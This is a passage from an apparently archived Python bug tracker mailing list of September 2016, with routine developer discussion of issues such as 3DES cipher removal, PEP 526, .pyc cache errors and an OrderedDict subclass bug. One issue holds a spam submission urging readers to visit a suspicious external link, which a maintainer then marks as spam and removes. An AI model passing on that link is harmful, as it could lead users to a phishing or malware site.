For the ones where it doesn't work, people can either upgrade to 3.5 or get
support from a reseller like red hat or caconical or ActiveState or ...

Providing the support for free isn't *wrong*, but "we don't add new things
except to the current release" is a both clear and sensible ... overriding
should be rare.  Assuming an override should be accepted just because
"security" reminds me of the boy who cried wolf.

> > Future OpenSSLs don't affect Python 3.4, as Python 3.4 won't be
upgraded to them.  ...

> Well except LibreSSL already supports this just fine,

Is switching to a different SSL library without OS vendor support any more
reasonable than switching to a newer python without that same support?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:27:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 00:27:51 +0000
Subject: [issue28005] Broken encoding modules are silently skipped.
In-Reply-To: <1473272228.69.0.973027040329.issue28005@psf.upfronthosting.co.za>
Message-ID: <20160908002747.3168.48876.63EDE2CA@psf.io>


Roundup Robot added the comment:

New changeset 2b2e7b39bb68 by Steve Dower in branch 'default':
Issue #28005: Allow ImportErrors in encoding implementation to propagate.
https://hg.python.org/cpython/rev/2b2e7b39bb68

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28005>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:28:21 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 08 Sep 2016 00:28:21 +0000
Subject: [issue28005] Broken encoding modules are silently skipped.
In-Reply-To: <1473272228.69.0.973027040329.issue28005@psf.upfronthosting.co.za>
Message-ID: <1473294501.45.0.112921343195.issue28005@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
assignee:  -> steve.dower
nosy: +steve.dower
resolution:  -> fixed
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28005>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:28:26 2016
From: report at bugs.python.org (Donald Stufft)
Date: Thu, 08 Sep 2016 00:28:26 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473294506.39.0.286437364891.issue27850@psf.upfronthosting.co.za>


Donald Stufft added the comment:

> Is switching to a different SSL library without OS vendor support any more
> reasonable than switching to a newer python without that same support?

There are OSs that ship with Python 3.4 and LibreSSL.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:41:37 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 08 Sep 2016 00:41:37 +0000
Subject: [issue10740] sqlite3 module breaks transactions and potentially
 corrupts data
In-Reply-To: <1292868135.81.0.257293444934.issue10740@psf.upfronthosting.co.za>
Message-ID: <1473295297.33.0.78609978199.issue10740@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'm in favor of merging Berker's patch, once the string comparison is made a little more robust. Right now there's a risk of matching a prefix rather than a whole word, and potentially overrunning the buffer (unless I've forgotten how stricmp works).

----------
nosy: +steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10740>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:51:01 2016
From: report at bugs.python.org (Larry Hastings)
Date: Thu, 08 Sep 2016 00:51:01 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473295861.38.0.739985763482.issue27850@psf.upfronthosting.co.za>


Larry Hastings added the comment:

> My reading of this is that for OpenSSL Python defines a range of
> compatible sonames at the time of the first release in a series (e.g.
> 3.4.0), and then will never extend that in either direction for that
> release series. Put another way: patches to extend the supported
> OpenSSL versions are not acceptable in patch releases of Python.
> 
> Is that reading accurate?

So, as RM, I don't exactly directly interact with our OpenSSL support.  I don't decide on a version anywhere.  I do test against it when I build and test, but I do my testing on Linux so I just wind up with whatever version of OpenSSL my OS shipped with.  The decision about what version(s) to support on Windows and Mac falls to the Windows and Mac "platform experts", respectively Steve Dower and Ned Deily.  When it's a platform-specific question regarding those two platforms, I defer to them.

With all that said, my understanding is that the OpenSSL devs aren't very strict about what changes they make in minor releases (say, 1.0.2g -> 1.0.2h).  I mean, sure, they might add bugs--it happens.  But that's not what I'm talking about.  IIUC they may introduce new features or even break APIs.  So changing the OpenSSL version for an existing release doesn't seem like a very good idea, unless it's necessary to fix awful security holes.  I wouldn't want to upgrade to a new OpenSSL point release just on basic "gee it's nice to stay current on software" general principles.

As for this modifying the list of acceptable ciphers thing--at this point I'm fine with it, even for 3.4.

I hope that clarified it for you.  Sadly that's all the clarity I've got on hand.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:51:40 2016
From: report at bugs.python.org (Davin Potts)
Date: Thu, 08 Sep 2016 00:51:40 +0000
Subject: [issue6766] Cannot modify dictionaries inside dictionaries using
 Managers from multiprocessing
In-Reply-To: <1251049590.58.0.809281249474.issue6766@psf.upfronthosting.co.za>
Message-ID: <1473295900.76.0.190626723431.issue6766@psf.upfronthosting.co.za>


Davin Potts added the comment:

Fixed in upcoming 3.6.

----------
resolution:  -> fixed
stage: patch review -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6766>
_______________________________________

From report at bugs.python.org  Wed Sep  7 20:59:47 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 00:59:47 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473296387.16.0.0224669848227.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Guido,

I fixed __annotations__ in interactive REPL, will fix other minor things and submit a new patch tomorrow morning.

There are two important questions in typing.py:

> Why is the second isinstance() needed? Isn't _ClassVar a subclass of
> TypingMeta

and 

> This being a metaclass, the name should end in Meta, like most
> other subclasses of TypingMeta. (And they don't have a leading _,
> though they're still not public.)

The problem with ClassVar is that it is not actually a class, and _ClassVar is not a metaclass, it is just a class. I deviated from the common pattern in module for the following reason. ClassVar is going to be extensively used at class scope, where all annotations are evaluated. Therefore I wanted not to create new class objects by __getitem__ like it is going for other classes like Union etc (I tried to timeit this and ClassVar is almost ten times faster than Union)

What do you think?
Should I keep it like this, or rewrite in a common pattern for the module?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:03:35 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 08 Sep 2016 01:03:35 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473296615.3.0.522004739648.issue1602@psf.upfronthosting.co.za>


Steve Dower added the comment:

Thanks! I've made the changes you suggested.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:16:13 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 01:16:13 +0000
Subject: [issue24277] Take the new email package features out of provisional
 status
In-Reply-To: <1432476633.37.0.892331041879.issue24277@psf.upfronthosting.co.za>
Message-ID: <20160908011610.1755.32818.D882B306@psf.io>


Roundup Robot added the comment:

New changeset b97118691363 by R David Murray in branch 'default':
#24277: The new email API is no longer provisional.
https://hg.python.org/cpython/rev/b97118691363

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24277>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:22:10 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 01:22:10 +0000
Subject: [issue24277] Take the new email package features out of provisional
 status
In-Reply-To: <1432476633.37.0.892331041879.issue24277@psf.upfronthosting.co.za>
Message-ID: <20160908012207.8602.19076.C06E7CDE@psf.io>


Roundup Robot added the comment:

New changeset bd5b38e3db1a by R David Murray in branch 'default':
#24277: What's New and news entries for previous commit.
https://hg.python.org/cpython/rev/bd5b38e3db1a

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24277>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:24:47 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 08 Sep 2016 01:24:47 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473297887.75.0.595680847819.issue28007@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I run into this kind of problem when switching back and forth between running things directly on my laptop and running them as a mounted volume in a container, since the permissions and SELinux labels on the cache can get messed up.

However, in those cases, writing back to the cache will also fail (since it's a "those are not your files, hands off" permissions problem).

So I'd be a fan of downgrading problems with the .pyc cache to warnings in general - if we read it and that fails, OK, we'll revert to using the source. If we try to write it, and that fails, well that's potentially OK too - writing to the cache is to speed up the *next* invocation of the module, and whether or not we actually care about that is going to be situational.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:28:43 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 08 Sep 2016 01:28:43 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473298123.27.0.929043011523.issue28007@psf.upfronthosting.co.za>


R. David Murray added the comment:

That makes sense to me as a use case for warnings only.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:38:24 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 01:38:24 +0000
Subject: [issue17211] pkgutil.iter_modules and walk_packages should return a
 namedtuple
In-Reply-To: <1360935610.51.0.788015716935.issue17211@psf.upfronthosting.co.za>
Message-ID: <20160908013821.2723.14651.5EF11B53@psf.io>


Roundup Robot added the comment:

New changeset 4f023e60564b by Eric Snow in branch 'default':
Issue #17211: Yield a namedtuple in pkgutil.
https://hg.python.org/cpython/rev/4f023e60564b

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17211>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:39:20 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 01:39:20 +0000
Subject: [issue17211] pkgutil.iter_modules and walk_packages should return a
 namedtuple
In-Reply-To: <1360935610.51.0.788015716935.issue17211@psf.upfronthosting.co.za>
Message-ID: <1473298760.73.0.622305034575.issue17211@psf.upfronthosting.co.za>


Eric Snow added the comment:

I've applied the patch with a couple small changes.  Thanks for the help!

----------
nosy: +eric.snow
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.6 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17211>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:40:39 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 01:40:39 +0000
Subject: [issue26667] Update importlib to accept pathlib.Path objects
In-Reply-To: <1459275774.9.0.416740988554.issue26667@psf.upfronthosting.co.za>
Message-ID: <20160908014037.12852.52739.08F5209E@psf.io>


Roundup Robot added the comment:

New changeset 1a36cf6389d8 by Brett Cannon in branch 'default':
Issue #26667: Add path-like object support to importlib.util.
https://hg.python.org/cpython/rev/1a36cf6389d8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26667>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:41:19 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 01:41:19 +0000
Subject: [issue26667] Update importlib to accept pathlib.Path objects
In-Reply-To: <1459275774.9.0.416740988554.issue26667@psf.upfronthosting.co.za>
Message-ID: <1473298879.89.0.918451873379.issue26667@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26667>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:42:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 01:42:00 +0000
Subject: [issue24277] Take the new email package features out of provisional
 status
In-Reply-To: <1432476633.37.0.892331041879.issue24277@psf.upfronthosting.co.za>
Message-ID: <20160908014157.36268.43871.BCA41008@psf.io>


Roundup Robot added the comment:

New changeset ad297312a478 by R David Murray in branch 'default':
#24277: Fix 3.4 whats new link broken by email doc changes.
https://hg.python.org/cpython/rev/ad297312a478

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24277>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:43:23 2016
From: report at bugs.python.org (Davin Potts)
Date: Thu, 08 Sep 2016 01:43:23 +0000
Subject: [issue6721] Locks in the standard library should be sanitized on fork
In-Reply-To: <1250550378.97.0.072881968798.issue6721@psf.upfronthosting.co.za>
Message-ID: <1473299003.64.0.589943603819.issue6721@psf.upfronthosting.co.za>


Changes by Davin Potts <python at discontinuity.net>:


----------
nosy: +davin

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6721>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:48:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 01:48:35 +0000
Subject: [issue24277] Take the new email package features out of provisional
 status
In-Reply-To: <1432476633.37.0.892331041879.issue24277@psf.upfronthosting.co.za>
Message-ID: <20160908014832.21157.56752.E0D7D128@psf.io>


Roundup Robot added the comment:

New changeset d82927c18931 by R David Murray in branch 'default':
#24277: Fix some incorrect backslashes in email example.
https://hg.python.org/cpython/rev/d82927c18931

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24277>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:51:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 01:51:00 +0000
Subject: [issue15352] importlib.h should be regenerated when the marshaling
 code changes
In-Reply-To: <1342294865.71.0.8673703337.issue15352@psf.upfronthosting.co.za>
Message-ID: <20160908015057.87724.78789.A8613EBB@psf.io>


Roundup Robot added the comment:

New changeset 344f44bd793f by Eric Snow in branch 'default':
Issue #15352: Rebuild frozen modules when marshal.c is changed.
https://hg.python.org/cpython/rev/344f44bd793f

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15352>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:51:44 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 01:51:44 +0000
Subject: [issue15352] importlib.h should be regenerated when the marshaling
 code changes
In-Reply-To: <1342294865.71.0.8673703337.issue15352@psf.upfronthosting.co.za>
Message-ID: <1473299504.58.0.316107686354.issue15352@psf.upfronthosting.co.za>


Eric Snow added the comment:

Thanks for the patch Meador.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.6 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15352>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:54:03 2016
From: report at bugs.python.org (Pabitra)
Date: Thu, 08 Sep 2016 01:54:03 +0000
Subject: [issue28011] winreg KEY_READ also fails for some keys
Message-ID: <1473299643.82.0.127834530575.issue28011@psf.upfronthosting.co.za>


New submission from Pabitra:

UAC does not give KEY_ALL_ACCESS on various keys, that's a know fact. But, KEY_READ access also throws WindowsError: [Error 5] Access is denied for few keys.

Out of all the keys in HKEY_USERS, I am trying to access, "S-1-5-18",  "S-1-5-19" and  "S-1-5-20". Openkey() with KEY_READ works fine for "S-1-5-18". However for "S-1-5-19" and  "S-1-5-20" it fails (even if I use KEY_READ access).

Then how can I read the values for those specific keys, if KEY_READ also shows access denied?

----------
components: Windows
files: Winreg.jpg
messages: 274951
nosy: pabitra, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: winreg KEY_READ also fails for some keys
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file44456/Winreg.jpg

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28011>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:58:16 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 08 Sep 2016 01:58:16 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473299896.55.0.583720124128.issue27364@psf.upfronthosting.co.za>


Changes by Emanuel Barry <barry at dadadata.net>:


Added file: http://bugs.python.org/file44457/invalid_stdlib_escapes_3_rebased_2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Wed Sep  7 22:08:48 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 08 Sep 2016 02:08:48 +0000
Subject: [issue22555] Tracking issue for adjustments to binary/text boundary
 handling
In-Reply-To: <1412481703.35.0.528069461639.issue22555@psf.upfronthosting.co.za>
Message-ID: <1473300528.14.0.0207360281101.issue22555@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Likely to be resolved, or at least significantly updated, for 3.6 due to PEP 528 and PEP 529:


* Using sys.stdin consistently at the default interactive prompt: issue 1602
* Improved Unicode handling in the Windows console: issue 17620
* Allowing text encoding and error handling to be specified in subprocess module APIs: issue 6135

New change landing in 3.6:

* Changing the Windows default encoding to UTF-8 to better match bytes handling conventions on *nix systems: issue 27781


Likely deferred to 3.7:

* providing a way to change the encoding of an existing stream: issue 15216
* utilities for clearing out surrogates from strings: issue 18814
* treating "wsgistr" as a serialisation format: issue 22264
* defining a formatting mini-language for hex output: issue 22385

----------
dependencies: +Change sys.getfilesystemencoding() on Windows to UTF-8, subprocess seems to use local encoding and give no choice

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22555>
_______________________________________

From report at bugs.python.org  Wed Sep  7 22:09:04 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 02:09:04 +0000
Subject: [issue15578] Crash when modifying sys.modules during import
In-Reply-To: <1344372630.36.0.657008264392.issue15578@psf.upfronthosting.co.za>
Message-ID: <20160908020901.48739.68225.F2DBD3CB@psf.io>


Roundup Robot added the comment:

New changeset 2d6dd8402d77 by Eric Snow in branch '2.7':
Issue #15578: Correctly incref the parent module while importing.
https://hg.python.org/cpython/rev/2d6dd8402d77

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15578>
_______________________________________

From report at bugs.python.org  Wed Sep  7 22:10:06 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 02:10:06 +0000
Subject: [issue15578] Crash when modifying sys.modules during import
In-Reply-To: <1344372630.36.0.657008264392.issue15578@psf.upfronthosting.co.za>
Message-ID: <1473300606.29.0.337644439504.issue15578@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15578>
_______________________________________

From report at bugs.python.org  Wed Sep  7 22:15:17 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 08 Sep 2016 02:15:17 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473296387.16.0.0224669848227.issue27985@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJKhsASLjJN806_7U9tjv29ffBzJ9k-tK8PiG+GgkjQ4OQ@mail.gmail.com>


Guido van Rossum added the comment:

Oh, dang, I misread the definition of _ClassVar. It's fine then!
Looking forward to the next installment.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Wed Sep  7 22:17:14 2016
From: report at bugs.python.org (Pabitra)
Date: Thu, 08 Sep 2016 02:17:14 +0000
Subject: [issue28011] winreg KEY_READ also fails for some keys
In-Reply-To: <1473299643.82.0.127834530575.issue28011@psf.upfronthosting.co.za>
Message-ID: <1473301034.52.0.181801394669.issue28011@psf.upfronthosting.co.za>


Pabitra added the comment:

Same applies for Python 3.5 as well.

----------
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28011>
_______________________________________

From report at bugs.python.org  Wed Sep  7 22:45:29 2016
From: report at bugs.python.org (Gukas Artunyan)
Date: Thu, 08 Sep 2016 02:45:29 +0000
Subject: [issue28012] meditation
Message-ID: <000036b38467$7c052f12$c810f15c$@yahoo.com>


New submission from Gukas Artunyan:

Hi! 

Here are some of my meditations on life and art, please read them and tell me what you  think, here is the link <http://ltositriphu.anglecpa.com/lnohean>

My best to you, gukaar77

----------
messages: 274956
nosy: gukaar77
priority: normal
severity: normal
status: open
title: meditation

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28012>
_______________________________________

From report at bugs.python.org  Wed Sep  7 22:50:03 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 08 Sep 2016 02:50:03 +0000
Subject: [issue28012] Spam
In-Reply-To: <000036b38467$7c052f12$c810f15c$@yahoo.com>
Message-ID: <1473303003.9.0.882864229401.issue28012@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy:  -gukaar77
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
title: meditation -> Spam

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28012>
_______________________________________

From report at bugs.python.org  Wed Sep  7 22:50:19 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 08 Sep 2016 02:50:19 +0000
Subject: [issue28012] Spam
Message-ID: <1473303019.57.0.73049249593.issue28012@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
Removed message: http://bugs.python.org/msg274956

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28012>
_______________________________________

From report at bugs.python.org  Wed Sep  7 23:15:36 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 03:15:36 +0000
Subject: [issue28013] PPC64 Fedora socket and ssl compile failure
Message-ID: <1473304536.57.0.349804951124.issue28013@psf.upfronthosting.co.za>


New submission from Martin Panter:

First build that failed is <http://buildbot.python.org/all/builders/PPC64%20Fedora%203.x/builds/1510>. Sample of the error messages:

In file included from /usr/include/bluetooth/bluetooth.h:37:0,
                 from /home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Modules/socketmodule.h:58,
                 from /home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Modules/socketmodule.c:321:
/usr/include/bluetooth/bluetooth.h: In function ?bt_get_le64?:
/usr/include/bluetooth/bluetooth.h:238:18: error: expected specifier-qualifier-list before ?typeof?
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));
                  ^
/usr/include/bluetooth/bluetooth.h:238:18: error: called object is not a function or function pointer
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));
                  ^
/usr/include/bluetooth/bluetooth.h:238:18: error: ?struct <anonymous>? has no member named ?__v?
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));
                  ^

Benjamin, the commits leading up to this include a lot of your C99 changes, so I added you, but I don?t have any definitive proof it?s your fault :)

----------
components: Extension Modules
keywords: buildbot
messages: 274957
nosy: benjamin.peterson, martin.panter
priority: normal
severity: normal
status: open
title: PPC64 Fedora socket and ssl compile failure
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28013>
_______________________________________

From report at bugs.python.org  Wed Sep  7 23:18:36 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Thu, 08 Sep 2016 03:18:36 +0000
Subject: [issue28013] PPC64 Fedora socket and ssl compile failure
In-Reply-To: <1473304536.57.0.349804951124.issue28013@psf.upfronthosting.co.za>
Message-ID: <1473304713.4079761.719139737.707DD489@webmail.messagingengine.com>


Benjamin Peterson added the comment:

It's strange because it seems to imply the system headers are
syntatically invalid.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28013>
_______________________________________

From report at bugs.python.org  Wed Sep  7 23:28:02 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 08 Sep 2016 03:28:02 +0000
Subject: [issue28014] Strange interaction between methods in subclass of C
 OrderedDict
Message-ID: <1473305282.86.0.291402257469.issue28014@psf.upfronthosting.co.za>


New submission from Zachary Ware:

I'm not certain that the implementation of this subclass of OrderedDict is actually sane, but it works in 3.4 and fails in 3.5+.

The buggy implementation:

class SimpleLRUCache(OrderedDict):

    def __init__(self, size):
        super().__init__()
        self.size = size

    def __getitem__(self, item):
        value = super().__getitem__(item)
        self.move_to_end(item)
        return value

    def __setitem__(self, key, value):
        while key not in self and len(self) >= self.size:
            self.popitem(last=False)
        super().__setitem__(key, value)
        self.move_to_end(key)


When trying to add a new item after `size` items are already in the cache, it will throw a KeyError with the key of the item in the oldest position.  Something like:

>>> s = SimpleLRUCache(2)
>>> s['t1'] = 1
>>> s['t2'] = 2
>>> s['t2'] # gives 2, properly moves 2 to the end
>>> s['t3'] = 3

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "simple_lru.py", line 14, in __setitem__
    self.popitem(last=False)
  File "simple_lru.py", line 9, in __getitem__
    self.move_to_end(item)
KeyError: 't3'


I can work around the failure by implementing __getitem__ as follows:

    def __getitem__(self, item):
        value = super().__getitem__(item)
        del self[item]
        self[item] = value
        return value

Attached is a script with a couple of tests that pass with 3.4 and fail with 3.5+.

----------
files: simple_lru.py
messages: 274959
nosy: eric.snow, zach.ware
priority: normal
severity: normal
status: open
title: Strange interaction between methods in subclass of C OrderedDict
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44458/simple_lru.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28014>
_______________________________________

From report at bugs.python.org  Wed Sep  7 23:29:56 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 03:29:56 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <1473305396.26.0.208617222004.issue26798@psf.upfronthosting.co.za>


Martin Panter added the comment:

Seems the test fails if the installed Python tree is not writable:
http://buildbot.python.org/all/builders/x86%20Gentoo%20Installed%20with%20X%203.x/builds/1005/steps/test/logs/stdio
======================================================================
ERROR: test_blake2b_vectors (test.test_hashlib.HashLibTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/target/lib/python3.6/test/test_hashlib.py", line 537, in test_blake2b_vectors
    for msg, key, md in read_vectors('blake2b'):
  File "/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/target/lib/python3.6/test/test_hashlib.py", line 50, in read_vectors
    with support.open_urlresource(URL.format(hash_name)) as f:
  File "/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/target/lib/python3.6/test/support/__init__.py", line 1061, in open_urlresource
    with open(fn, "wb") as out:
PermissionError: [Errno 13] Permission denied: '/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/target/lib/python3.6/test/data/blake2b.txt'

======================================================================
ERROR: test_blake2s_vectors (test.test_hashlib.HashLibTestCase)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Wed Sep  7 23:32:48 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Thu, 08 Sep 2016 03:32:48 +0000
Subject: [issue28014] Strange interaction between methods in subclass of C
 OrderedDict
In-Reply-To: <1473305282.86.0.291402257469.issue28014@psf.upfronthosting.co.za>
Message-ID: <1473305568.45.0.167293123282.issue28014@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Please see issue27275. Someone has already complained about this. And I think the cause is the gap between Pure Python implementation and C implementation when it comes to subclasses.

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28014>
_______________________________________

From report at bugs.python.org  Wed Sep  7 23:40:58 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 08 Sep 2016 03:40:58 +0000
Subject: [issue27275] KeyError thrown by optimised
 collections.OrderedDict.popitem()
In-Reply-To: <1465446835.8.0.930561202137.issue27275@psf.upfronthosting.co.za>
Message-ID: <1473306058.39.0.694946865596.issue27275@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Attaching test case from #28014 here since this issue looks close enough to that one to be caused by the same thing.

----------
nosy: +zach.ware
Added file: http://bugs.python.org/file44459/simple_lru.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27275>
_______________________________________

From report at bugs.python.org  Wed Sep  7 23:41:20 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 08 Sep 2016 03:41:20 +0000
Subject: [issue28014] Strange interaction between methods in subclass of C
 OrderedDict
In-Reply-To: <1473305282.86.0.291402257469.issue28014@psf.upfronthosting.co.za>
